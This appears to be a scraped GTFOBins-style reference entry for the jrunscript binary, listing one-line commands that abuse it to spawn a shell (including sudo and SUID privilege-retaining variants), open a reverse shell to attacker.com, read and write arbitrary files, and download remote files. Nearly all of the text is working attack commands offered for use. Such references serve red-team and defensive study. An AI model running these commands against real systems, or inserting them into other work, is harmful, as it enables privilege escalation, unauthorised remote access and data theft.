jrunscript
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
jrunscript -e 'exec("/bin/sh -c $@|sh _ echo sh </dev/tty >/dev/tty 2>/dev/tty")'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.jrunscript -e 'exec("/bin/sh -c $@|sh _ echo sh </dev/tty >/dev/tty 2>/dev/tty")'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.jrunscript -e 'exec("/bin/sh -pc $@|sh${IFS}-p _ echo sh -p </dev/tty >/dev/tty 2>/dev/tty")'
Reverse shell
This executable can send back a reverse system shell to a listening attacker.
- This function can be performed by any unprivileged user.
jrunscript -e 'var host="attacker.com"; var port=12345; var p=new java.lang.ProcessBuilder("/bin/sh", "-i").redirectErrorStream(true).start(); var s=new java.net.Socket(host,port); var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream(); var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); java.lang.Thread.sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.jrunscript -e 'var host="attacker.com"; var port=12345; var p=new java.lang.ProcessBuilder("/bin/sh", "-i").redirectErrorStream(true).start(); var s=new java.net.Socket(host,port); var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream(); var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); java.lang.Thread.sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'
File write
This executable can write data to local files.
- This function can be performed by any unprivileged user.
jrunscript -e 'var fw=new java.io.FileWriter("/path/to/output-file"); fw.write("DATA"); fw.close();'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.jrunscript -e 'var fw=new java.io.FileWriter("/path/to/output-file"); fw.write("DATA"); fw.close();'
File read
This executable can read data from local files.
- This function can be performed by any unprivileged user.
jrunscript -e 'br = new BufferedReader(new java.io.FileReader("/path/to/input-file")); while ((line = br.readLine()) != null) { print(line); }'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.jrunscript -e 'br = new BufferedReader(new java.io.FileReader("/path/to/input-file")); while ((line = br.readLine()) != null) { print(line); }'
Download
This executable can download remote data.
- This function can be performed by any unprivileged user.
jrunscript -e 'cp("http://attacker.com/path/to/input-file","/path/to/output-file")'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.jrunscript -e 'cp("http://attacker.com/path/to/input-file","/path/to/output-file")'